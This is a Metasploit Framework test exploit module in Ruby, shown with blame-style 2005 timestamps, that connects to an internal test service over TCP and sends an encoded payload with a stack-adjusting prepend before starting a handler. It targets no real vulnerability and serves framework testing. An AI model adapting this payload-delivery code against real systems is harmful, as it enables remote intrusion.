2005-07-14 07:32:11 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Internal Aggressive Test Exploit',
|
|
|
|
'Description' =>
|
|
|
|
"This module tests the exploitation of a test service.",
|
|
|
|
'Author' => 'skape',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'MaxNops' => 0,
|
2005-07-18 04:07:56 +00:00
|
|
|
'BadChars' => "\x00",
|
2005-07-26 02:01:27 +00:00
|
|
|
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
|
2005-07-14 07:32:11 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0: Universal
|
|
|
|
[
|
|
|
|
'Any Platform',
|
|
|
|
{
|
2005-07-15 22:30:04 +00:00
|
|
|
'Platform' => [ 'linux', 'win' ]
|
|
|
|
}
|
2005-07-14 07:32:11 +00:00
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
2005-07-14 20:36:34 +00:00
|
|
|
def check
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
2005-07-14 07:32:11 +00:00
|
|
|
def exploit
|
2005-07-15 23:46:05 +00:00
|
|
|
connect
|
|
|
|
|
2005-07-18 02:01:36 +00:00
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
2005-07-16 07:32:11 +00:00
|
|
|
|
2005-07-15 23:46:05 +00:00
|
|
|
sock.put(payload.encoded)
|
|
|
|
|
|
|
|
handler
|
2005-07-14 07:32:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|